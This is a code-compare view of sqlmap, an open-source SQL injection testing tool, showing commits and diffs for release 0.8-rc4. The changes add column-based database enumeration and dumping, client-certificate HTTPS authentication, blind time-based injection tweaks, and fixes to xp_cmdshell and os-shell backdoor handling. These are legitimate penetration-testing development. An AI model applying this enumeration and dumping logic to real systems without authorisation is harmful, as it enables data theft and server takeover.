Compare commits

..

18 Commits

Author SHA1 Message Date
Bernardo Damele
f316e722c1 sqlmap 0.8-rc4: --dump option now can also accept only -C: user can provide a string column and sqlmap will enumerate all databases, tables and columns that contain the 'provided_string' or '%provided_string%' then ask the user to dump the entries of only those columns.
--columns now accepts also -C option: user can provide a string column and sqlmap will enumerate all columns of a specific table like '%provided_string%'.
Minor enhancements.
Minor bug fixes.
2010-01-09 00:05:00 +00:00
Bernardo Damele
6a62a78b0a More generic 2010-01-08 23:50:06 +00:00
Bernardo Damele
067cc07fb9 Make 'field' parameter in limitQuery() method to be option 2010-01-08 23:23:15 +00:00
Miroslav Stampar
5c20462155 minor update 2010-01-07 13:10:26 +00:00
Miroslav Stampar
82222fcd3a minor update of help text 2010-01-07 13:09:14 +00:00
Miroslav Stampar
d07f60578c implementation of Feature #17 2010-01-07 12:59:09 +00:00
Bernardo Damele
80df1fdcf9 Minor bug fix with --sql-query/shell when providing a statement with DISTINCT 2010-01-05 16:15:31 +00:00
Bernardo Damele
954a927cee Minor bug fix to properly execute --time-test also on MySQL >= 5.0.12 2010-01-05 11:43:16 +00:00
Miroslav Stampar
71547a3496 getDocRoot changes 2010-01-05 11:30:33 +00:00
Bernardo Damele
bb61010a45 Avoid useless checks for --os-bof (no need to check for DBA or for xp_cmdshell). Minor code restyling. 2010-01-04 15:02:56 +00:00
Bernardo Damele
473024bd6e Newline 2010-01-04 14:03:31 +00:00
Miroslav Stampar
6319eb6e5c just added PGP Key ID 2010-01-04 13:08:40 +00:00
Bernardo Damele
232f927dd0 Slightly updated the documentation 2010-01-04 12:53:58 +00:00
Miroslav Stampar
d71e47ce56 fix regarding dirnames in Feature #110 2010-01-04 12:39:07 +00:00
Bernardo Damele
2eb24c6368 Avoid useless queries 2010-01-04 12:35:53 +00:00
Bernardo Damele
236ca9b952 Major bug fix: --os-shell web backdoor functionality is now fixed (was broken since changeset r859). 2010-01-04 10:47:09 +00:00
Miroslav Stampar
96a033b51d found and fixed few bugs regarding my "fix" of Bug #110 2010-01-03 15:56:29 +00:00
Bernardo Damele
d5b1863dec Updated documentation and svn properties 2010-01-02 02:07:28 +00:00
22 changed files with 619 additions and 145 deletions

View File

@@ -1,3 +1,7 @@
Bernardo Damele Assumpcao Guimaraes (inquis) - Lead developer
<bernardo.damele@gmail.com>
PGP Key ID: 0x05F5A30F
Miroslav Stampar (stamparm) - Developer since version 0.8-rc2
<miroslav.stampar@gmail.com>
PGP Key ID: 0xB5397B1B

View File

@@ -116,6 +116,9 @@ Anant Kochhar <anant.kochhar@secureyes.net>
Alexander Kornbrust <ak@red-database-security.com>
for reporting a couple of bugs
Krzysztof Kotowicz <kkotowicz@gmail.com>
for reporting a minor bug
Nicolas Krassas <krasn@ans.gr>
for reporting a bug

View File

@@ -453,7 +453,7 @@ class Agent:
return inbandQuery
def limitQuery(self, num, query, field):
def limitQuery(self, num, query, field=None):
"""
Take in input a query string and return its limited query string.
@@ -502,6 +502,12 @@ class Agent:
if " ORDER BY " in limitedQuery:
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
notDistincts = re.findall("DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I)
for notDistinct in notDistincts:
limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct)
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
topNums = re.search(queries[kb.dbms].limitregexp, limitedQuery, re.I)
@@ -518,10 +524,12 @@ class Agent:
if forgeNotIn:
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
if " WHERE " in limitedQuery:
limitedQuery = "%s AND %s " % (limitedQuery, field)
else:
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s)" % (field, fromFrom)

View File

@@ -30,6 +30,8 @@ import string
import sys
import time
import urlparse
import ntpath
import posixpath
from lib.contrib import magic
from lib.core.data import conf
from lib.core.data import kb
@@ -215,7 +217,7 @@ def getHtmlErrorFp():
def getDocRoot():
docRoot = None
pagePath = os.path.dirname(conf.path)
pagePath = directoryPath(conf.path)
if kb.os == "Windows":
defaultDocRoot = "C:/Inetpub/wwwroot/"
@@ -224,14 +226,13 @@ def getDocRoot():
if kb.absFilePaths:
for absFilePath in kb.absFilePaths:
absFilePath = normalizePath(absFilePath)
absFilePathWin = None
if re.search("[A-Za-z]:(\\[\w.\\]*)?", absFilePath):
if re.match("[A-Za-z]:(\\[\w.\\]*)?", absFilePath):
absFilePathWin = absFilePath
absFilePath = absFilePath[2:].replace("\\", "/")
absFilePath = os.path.normpath(absFilePath)
if pagePath in absFilePath:
index = absFilePath.index(pagePath)
docRoot = absFilePath[:index]
@@ -635,7 +636,7 @@ def getRange(count, dump=False, plusOne=False):
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
limitStart = conf.limitStart
if kb.dbms == "Oracle" or plusOne:
if plusOne:
indexRange = range(limitStart, limitStop + 1)
else:
indexRange = range(limitStart - 1, limitStop)
@@ -692,7 +693,7 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
return data
def getDelayQuery():
def getDelayQuery(andCond=False):
query = None
if kb.dbms in ("MySQL", "PostgreSQL"):
@@ -703,6 +704,10 @@ def getDelayQuery():
if (kb.dbms == "MySQL" and banVer >= "5.0.12") or (kb.dbms == "PostgreSQL" and banVer >= "8.2"):
query = queries[kb.dbms].timedelay % conf.timeSec
if kb.dbms == "MySQL" and andCond:
query = query.replace("SELECT ", "")
else:
query = queries[kb.dbms].timedelay2 % conf.timeSec
else:
@@ -832,3 +837,19 @@ def sanitizeCookie(cookieStr, warn=False):
return result
else:
return None
def directoryPath(path):
retVal = None
if path.find('/') != -1:
retVal = posixpath.dirname(path)
else:
retVal = ntpath.dirname(path)
return retVal
def normalizePath(path):
retVal = None
if path.find('/') != -1:
retVal = posixpath.normpath(path)
else:
retVal = ntpath.normpath(path)
return retVal

View File

@@ -124,6 +124,31 @@ class Dump:
self.__write(" %s: %s" % (subHeader, setting))
print
def dbColumns(self, dbColumns, colConsider, dbs):
for column, dbTables in dbColumns.items():
if colConsider == "1":
colConsiderStr = "s like '" + column + "' were"
else:
colConsiderStr = " '%s' was" % column
msg = "Column%s found in the " % colConsiderStr
msg += "following databases:"
self.__write(msg)
printDbs = {}
for db, tblData in dbs.items():
for tbl, colData in tblData.items():
for col in colData:
if column in col:
if db in printDbs:
printDbs[db][tbl] = colData
else:
printDbs[db] = { tbl: colData }
break
self.dbTableColumns(printDbs)
def dbTables(self, dbTables):
if not isinstance(dbTables, dict):
self.string("tables", dbTables)
@@ -171,11 +196,15 @@ class Dump:
for column in colList:
colType = columns[column]
maxlength1 = max(maxlength1, len(column))
if colType is not None:
maxlength2 = max(maxlength2, len(colType))
maxlength1 = max(maxlength1, len("COLUMN"))
maxlength2 = max(maxlength2, len("TYPE"))
lines1 = "-" * (int(maxlength1) + 2)
if colType is not None:
maxlength2 = max(maxlength2, len("TYPE"))
lines2 = "-" * (int(maxlength2) + 2)
self.__write("Database: %s\nTable: %s" % (db, table))
@@ -185,23 +214,42 @@ class Dump:
else:
self.__write("[%d columns]" % len(columns))
if colType is not None:
self.__write("+%s+%s+" % (lines1, lines2))
else:
self.__write("+%s+" % lines1)
blank1 = " " * (maxlength1 - len("COLUMN"))
if colType is not None:
blank2 = " " * (maxlength2 - len("TYPE"))
if colType is not None:
self.__write("| Column%s | Type%s |" % (blank1, blank2))
self.__write("+%s+%s+" % (lines1, lines2))
else:
self.__write("| Column%s |" % blank1)
self.__write("+%s+" % lines1)
for column in colList:
colType = columns[column]
blank1 = " " * (maxlength1 - len(column))
if colType is not None:
blank2 = " " * (maxlength2 - len(colType))
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
else:
self.__write("| %s%s |" % (column, blank1))
if colType is not None:
self.__write("+%s+%s+\n" % (lines1, lines2))
else:
self.__write("+%s+\n" % lines1)
def dbTableValues(self, tableValues):
if tableValues is None:
return
db = tableValues["__infos__"]["db"]
if not db:
db = "All"

View File

@@ -67,6 +67,7 @@ from lib.core.update import update
from lib.parse.configfile import configFileParser
from lib.parse.queriesfile import queriesParser
from lib.request.proxy import ProxyHTTPSHandler
from lib.request.certhandler import HTTPSCertAuthHandler
from lib.utils.google import Google
authHandler = urllib2.BaseHandler()
@@ -518,13 +519,14 @@ def __setHTTPProxy():
def __setHTTPAuthentication():
"""
Check and set the HTTP authentication method (Basic, Digest or NTLM),
username and password to perform HTTP requests with.
Check and set the HTTP(s) authentication method (Basic, Digest, NTLM or Certificate),
username and password for first three methods, or key file and certification file for
certificate authentication
"""
global authHandler
if not conf.aType and not conf.aCred:
if not conf.aType and not conf.aCred and not conf.aCert:
return
elif conf.aType and not conf.aCred:
@@ -537,6 +539,7 @@ def __setHTTPAuthentication():
errMsg += "but did not provide the type"
raise sqlmapSyntaxException, errMsg
if not conf.aCert:
debugMsg = "setting the HTTP authentication type and credentials"
logger.debug(debugMsg)
@@ -576,6 +579,27 @@ def __setHTTPAuthentication():
raise sqlmapMissingDependence, errMsg
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
else:
debugMsg = "setting the HTTP(s) authentication certificate"
logger.debug(debugMsg)
aCertRegExp = re.search("^(.+?),\s*(.+?)$", conf.aCert)
if not aCertRegExp:
errMsg = "HTTP authentication certificate option "
errMsg += "must be in format key_file,cert_file"
raise sqlmapSyntaxException, errMsg
#os.path.expanduser for support of paths with ~
key_file = os.path.expanduser(aCertRegExp.group(1))
cert_file = os.path.expanduser(aCertRegExp.group(2))
for file in (key_file, cert_file):
if not os.path.exists(file):
errMsg = "File '%s' doesn't exist" % file
raise sqlmapSyntaxException, errMsg
authHandler = HTTPSCertAuthHandler(key_file, cert_file)
def __setHTTPMethod():
"""

View File

@@ -41,6 +41,7 @@ optDict = {
"headers": "string",
"aType": "string",
"aCred": "string",
"aCert": "string",
"proxy": "string",
"threads": "integer",
"delay": "float",

View File

@@ -27,7 +27,7 @@ import subprocess
import sys
# sqlmap version and site
VERSION = "0.8-rc3"
VERSION = "0.8-rc4"
VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net"
@@ -58,7 +58,7 @@ SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
# Database managemen system specific variables
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog", "pg_toast" )
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
@@ -74,6 +74,7 @@ SQL_STATEMENTS = {
"select ",
"show ",
" top ",
" distinct ",
" from ",
" from dual",
" where ",

View File

@@ -89,12 +89,16 @@ def cmdLineParser():
help="Extra HTTP headers newline separated")
request.add_option("--auth-type", dest="aType",
help="HTTP Authentication type (value "
"Basic, Digest or NTLM)")
help="HTTP Authentication type "
"(Basic, Digest or NTLM)")
request.add_option("--auth-cred", dest="aCred",
help="HTTP Authentication credentials (value "
"name:password)")
help="HTTP Authentication credentials "
"(name:password)")
request.add_option("--auth-cert", dest="aCert",
help="HTTPs Authentication certificate ("
"key_file,cert_file)")
request.add_option("--proxy", dest="proxy",
help="Use a HTTP proxy to connect to the target url")

View File

@@ -145,6 +145,8 @@ class queriesHandler(ContentHandler):
self.__blind2 = sanitizeStr(attrs.get("query2"))
self.__count = sanitizeStr(attrs.get("count"))
self.__count2 = sanitizeStr(attrs.get("count2"))
self.__condition = sanitizeStr(attrs.get("condition"))
self.__condition2 = sanitizeStr(attrs.get("condition2"))
def endElement(self, name):
if name == "dbms":
@@ -192,11 +194,18 @@ class queriesHandler(ContentHandler):
elif name == "columns":
self.__columns = {}
self.__columns["inband"] = { "query": self.__inband }
self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count }
self.__columns["inband"] = { "query": self.__inband, "condition": self.__condition }
self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count, "condition": self.__condition }
self.__queries.columns = self.__columns
elif name == "dump_column":
self.__dumpColumn = {}
self.__dumpColumn["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition, "condition2": self.__condition2 }
self.__dumpColumn["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count, "count2": self.__count2, "condition": self.__condition, "condition2": self.__condition2 }
self.__queries.dumpColumn = self.__dumpColumn
elif name == "dump_table":
self.__dumpTable = {}
self.__dumpTable["inband"] = { "query": self.__inband }

View File

@@ -30,6 +30,7 @@ import zlib
from lib.core.data import conf
from lib.core.data import kb
from lib.core.common import directoryPath
from lib.parse.headers import headersParser
from lib.parse.html import htmlParser
@@ -68,16 +69,17 @@ def parseResponse(page, headers):
# Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled.
absFilePathsRegExp = ( r" in <b>(.*?)</b> on line", r"\b[A-Za-z]:(\\[\w.\\]*)?", r"/[/\w.]+" )
absFilePathsRegExp = ( r" in <b>(?P<result>.*?)</b> on line", r"\b(?P<result>[A-Za-z]:(\\[\w.\\]*)?)", r"(\A|[^<])(?P<result>/[/\w.]+)" )
for absFilePathRegExp in absFilePathsRegExp:
reobj = re.compile(absFilePathRegExp)
for match in reobj.finditer(page):
absFilePath = match.group()
absFilePath = match.group("result").strip()
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(os.path.dirname(absFilePath))
dirname = directoryPath(absFilePath)
kb.absFilePaths.add(dirname)
def decodePage(page, encoding):
"""

View File

@@ -1,12 +1,45 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import sys
import httplib
import urllib2
from lib.core.data import conf
class HTTPSCertAuthHandler(urllib2.HTTPSHandler):
def __init__(self, key_file, cert_file):
urllib2.HTTPSHandler.__init__(self)
self.key_file = key_file
self.cert_file = cert_file
def https_open(self, req):
return self.do_open(self.getConnection, req)
def getConnection(self, host):
return httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file)
if sys.version_info >= (2,6):
retVal = httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file, timeout=conf.timeout)
else:
retVal = httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file)
return retVal

View File

@@ -350,6 +350,8 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
expression = expandAsteriskForColumns(expression)
value = None
expression = expression.replace("DISTINCT ", "")
if inband and kb.unionPosition:
if kb.dbms == "Oracle" and " ORDER BY " in expression:
expression = expression[:expression.index(" ORDER BY ")]

View File

@@ -95,7 +95,7 @@ class Abstraction(UDF, xp_cmdshell):
else:
self.execCmd(cmd, forgeCmd=True)
if not conf.osShell and not conf.cleanup:
if not conf.osShell and not conf.osPwn and not conf.cleanup:
self.__cmdShellCleanup()
def absOsShell(self):
@@ -151,7 +151,7 @@ class Abstraction(UDF, xp_cmdshell):
self.checkDbmsOs(detailed)
if not self.isDba():
if mandatory and not self.isDba():
warnMsg = "the functionality requested might not work because "
warnMsg += "the session user is not a database administrator"
logger.warn(warnMsg)
@@ -160,8 +160,11 @@ class Abstraction(UDF, xp_cmdshell):
self.udfInjectCmd()
elif kb.dbms == "Microsoft SQL Server":
self.xpCmdshellInit(mandatory)
if mandatory:
self.xpCmdshellInit()
else:
errMsg = "feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
raise sqlmapUnsupportedFeatureException(errMsg)
self.envInitialized = True

View File

@@ -145,7 +145,7 @@ class xp_cmdshell:
return output
def xpCmdshellInit(self, mandatory=True):
def xpCmdshellInit(self):
self.__xpCmdshellAvailable = False
infoMsg = "checking if xp_cmdshell extended procedure is "
@@ -187,19 +187,10 @@ class xp_cmdshell:
warnMsg += "because sp_OACreate is disabled"
logger.warn(warnMsg)
if not self.__xpCmdshellAvailable and not mandatory:
warnMsg = "unable to get xp_cmdshell working, sqlmap will "
warnMsg += "try to proceed without it"
logger.warn(warnMsg)
self.envInitialized = True
elif not self.__xpCmdshellAvailable:
if not self.__xpCmdshellAvailable:
errMsg = "unable to proceed without xp_cmdshell"
raise sqlmapUnsupportedFeatureException, errMsg
self.envInitialized = True
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg)

View File

@@ -31,12 +31,13 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.request import inject
from lib.request.connect import Connect as Request
def timeTest():
infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
logger.info(infoMsg)
timeQuery = getDelayQuery()
timeQuery = getDelayQuery(andCond=True)
query = agent.prefixQuery(" AND %s" % timeQuery)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
@@ -60,6 +61,7 @@ def timeTest():
infoMsg += "'%s' with stacked query syntax" % kb.injParameter
logger.info(infoMsg)
timeQuery = getDelayQuery(andCond=True)
start = time.time()
payload, _ = inject.goStacked(timeQuery)
duration = int(time.time() - start)
@@ -78,6 +80,7 @@ def timeTest():
kb.timeTest = False
return kb.timeTest
def timeUse(query):
start = time.time()
_, _ = inject.goStacked(query)

View File

@@ -352,9 +352,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "text")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
if datadirSubstr == "/":
@@ -553,7 +550,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
self.udfSharedLibExt = "so"
self.udfInjectCore(self.sysUdfs)
self.envInitialized = True
def uncPathRequest(self):
if not kb.stackedTest:

View File

@@ -464,7 +464,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
self.udfSharedLibExt = "so"
self.udfInjectCore(self.sysUdfs)
self.envInitialized = True
def uncPathRequest(self):
self.createSupportTbl(self.fileTblName, self.tblField, "text")

View File

@@ -190,7 +190,11 @@ class Enumeration:
errMsg = "unable to retrieve the number of database users"
raise sqlmapNoneDataException, errMsg
indexRange = getRange(count)
if kb.dbms == "Oracle":
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if condition:
@@ -299,7 +303,12 @@ class Enumeration:
logger.info(infoMsg)
passwords = []
indexRange = getRange(count)
if kb.dbms == "Oracle":
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if kb.dbms == "Microsoft SQL Server":
@@ -543,7 +552,12 @@ class Enumeration:
logger.info(infoMsg)
privileges = set()
indexRange = getRange(count)
if kb.dbms == "Oracle":
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
@@ -742,7 +756,12 @@ class Enumeration:
continue
tables = []
indexRange = getRange(count)
if kb.dbms in ( "Microsoft SQL Server", "Oracle" ):
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
query = rootQuery["blind"]["query"] % (db, index)
@@ -785,31 +804,46 @@ class Enumeration:
conf.db = self.getCurrentDb()
rootQuery = queries[kb.dbms].columns
infoMsg = "fetching columns "
if conf.col:
if kb.dbms == "Oracle":
conf.col = conf.col.upper()
colList = conf.col.split(",")
condition = rootQuery["blind"]["condition"]
condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + col + "%") for col in colList) + ")"
infoMsg += "like '%s' " % ", ".join(col for col in colList)
else:
condQuery = ""
infoMsg += "for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[kb.dbms].columns
if kb.unionPosition:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
elif kb.dbms == "Oracle":
query = rootQuery["inband"]["query"] % conf.tbl.upper()
elif kb.dbms == "Microsoft SQL Server":
# TODO: adjust with condQuery
query = rootQuery["inband"]["query"] % (conf.db, conf.db,
conf.db, conf.db,
conf.db, conf.db,
conf.db, conf.tbl)
query += condQuery
value = inject.getValue(query, blind=False)
if value:
table = {}
columns = {}
for column, colType in value:
columns[column] = colType
table[conf.tbl] = columns
kb.data.cachedColumns[conf.db] = table
@@ -824,8 +858,10 @@ class Enumeration:
elif kb.dbms == "Oracle":
query = rootQuery["blind"]["count"] % conf.tbl.upper()
elif kb.dbms == "Microsoft SQL Server":
# TODO: adjust with condQuery
query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl)
query += condQuery
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
@@ -834,24 +870,27 @@ class Enumeration:
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
table = {}
columns = {}
if kb.dbms == "Microsoft SQL Server":
plusOne = True
else:
plusOne = False
table = {}
columns = {}
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["blind"]["query"] % (conf.tbl, conf.db, index)
query = rootQuery["blind"]["query"] % (conf.tbl, conf.db)
elif kb.dbms == "Oracle":
query = rootQuery["blind"]["query"] % (conf.tbl.upper(), index)
query = rootQuery["blind"]["query"] % (conf.tbl.upper())
elif kb.dbms == "Microsoft SQL Server":
# TODO: adjust with condQuery
query = rootQuery["blind"]["query"] % (index, conf.db,
conf.db, conf.tbl)
query += condQuery
query = agent.limitQuery(index, query)
column = inject.getValue(query, inband=False)
if not onlyColNames:
@@ -881,11 +920,275 @@ class Enumeration:
return kb.data.cachedColumns
def dumpTable(self):
if not conf.tbl:
errMsg = "missing table parameter"
def dumpColumn(self):
# TODO: adjust for MSSQL
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
if not conf.col:
errMsg = "missing column parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
rootQuery = queries[kb.dbms].dumpColumn
foundCols = {}
dbs = {}
colList = conf.col.split(",")
colCond = rootQuery["inband"]["condition"]
dbCond = rootQuery["inband"]["condition2"]
message = "do you want sqlmap to consider provided column(s):\n"
message += "[1] as LIKE column names (default)\n"
message += "[2] as exact column names"
colConsider = readInput(message, default="1")
if not colConsider or colConsider.isdigit() and colConsider == "1":
colConsider = "1"
colCondParam = " LIKE '%%%s%%'"
elif colConsider.isdigit() and colConsider == "2":
colCondParam = "='%s'"
else:
errMsg = "invalid value"
raise sqlmapNoneDataException, errMsg
if kb.dbms == "Microsoft SQL Server":
plusOne = True
else:
plusOne = False
for column in colList:
if kb.dbms == "Oracle":
column = column.upper()
conf.db = "USERS"
foundCols[column] = {}
if conf.db:
for db in conf.db.split(","):
dbs[db] = {}
foundCols[column][db] = []
continue
infoMsg = "fetching databases with tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info(infoMsg)
if conf.excludeSysDbs and kb.dbms != "Oracle":
dbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
else:
dbsQuery = ""
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
if kb.unionPosition:
query = rootQuery["inband"]["query"]
query += colQuery
query += dbsQuery
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, str):
values = [ values ]
for value in values:
dbs[value] = {}
foundCols[column][value] = []
else:
infoMsg = "fetching number of databases with tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info(infoMsg)
query = rootQuery["blind"]["count"]
query += colQuery
query += dbsQuery
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "no databases have tables containing column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % column
logger.warn(warnMsg)
continue
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
query = rootQuery["blind"]["query"]
query += colQuery
query += dbsQuery
query = agent.limitQuery(index, query)
db = inject.getValue(query, inband=False)
dbs[db] = {}
foundCols[column][db] = []
for column, dbData in foundCols.items():
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
for db in dbData:
infoMsg = "fetching tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info(infoMsg)
if kb.unionPosition:
query = rootQuery["inband"]["query2"]
if kb.dbms == "Oracle":
query += " WHERE %s" % colQuery
else:
query = query % db
query += " AND %s" % colQuery
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, str):
values = [ values ]
for value in values:
if value not in dbs[db]:
dbs[db][value] = {}
dbs[db][value][column] = None
foundCols[column][db].append(value)
else:
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info(infoMsg)
query = rootQuery["blind"]["count2"]
if kb.dbms == "Oracle":
query += " WHERE %s" % colQuery
else:
query = query % db
query += " AND %s" % colQuery
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
query = rootQuery["blind"]["query2"]
if kb.dbms == "Oracle":
query += " WHERE %s" % colQuery
else:
query = query % db
query += " AND %s" % colQuery
query = agent.limitQuery(index, query)
tbl = inject.getValue(query, inband=False)
if tbl not in dbs[db]:
dbs[db][tbl] = {}
dbs[db][tbl][column] = None
foundCols[column][db].append(tbl)
if colConsider == "1":
okDbs = {}
for db, tableData in dbs.items():
conf.db = db
okDbs[db] = {}
for tbl, columns in tableData.items():
conf.tbl = tbl
for column in columns:
conf.col = column
self.getColumns(onlyColNames=True)
if tbl in okDbs[db]:
okDbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
else:
okDbs[db][tbl] = kb.data.cachedColumns[db][tbl]
kb.data.cachedColumns = {}
dbs = okDbs
if not dbs:
warnMsg = "no databases have tables containing any of the "
warnMsg += "provided columns"
logger.warn(warnMsg)
return
dumper.dbColumns(foundCols, colConsider, dbs)
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output not in ("y", "Y"):
return
dumpFromDbs = []
message = "which database?\n[a]ll (default)\n"
for db in dbs:
message += "[%s]\n" % db
message += "[q]uit"
test = readInput(message, default="a")
if not test or test[0] in ("a", "A"):
dumpFromDbs = dbs.keys()
elif test[0] in ("q", "Q"):
return
else:
dumpFromDbs = test.replace(" ", "").split(",")
for db, tblData in dbs.items():
if db not in dumpFromDbs:
continue
conf.db = db
for table, columns in tblData.items():
conf.tbl = table
conf.col = ",".join(column for column in columns)
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
data = self.dumpTable()
if data:
dumper.dbTableValues(data)
def dumpTable(self):
if not conf.tbl and not conf.col:
errMsg = "missing both table and column parameters, please "
errMsg += "provide at least one of them"
raise sqlmapMissingMandatoryOptionException, errMsg
if conf.col and not conf.tbl:
self.dumpColumn()
return
if "." in conf.tbl:
conf.db, conf.tbl = conf.tbl.split(".")
@@ -926,6 +1229,8 @@ class Enumeration:
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
entriesCount = 0
if kb.unionPosition:
if kb.dbms == "Oracle":
query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
@@ -934,6 +1239,9 @@ class Enumeration:
entries = inject.getValue(query, blind=False)
if entries:
if isinstance(entries, str):
entries = [ entries ]
entriesCount = len(entries)
index = 0
@@ -974,17 +1282,15 @@ class Enumeration:
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the number of "
warnMsg = "unable to retrieve the number of "
if conf.col:
errMsg += "columns '%s' " % colString
errMsg += "entries for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
warnMsg += "columns '%s' " % colString
warnMsg += "entries for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
logger.warn(warnMsg)
if conf.dumpAll:
logger.warn(errMsg)
return None
else:
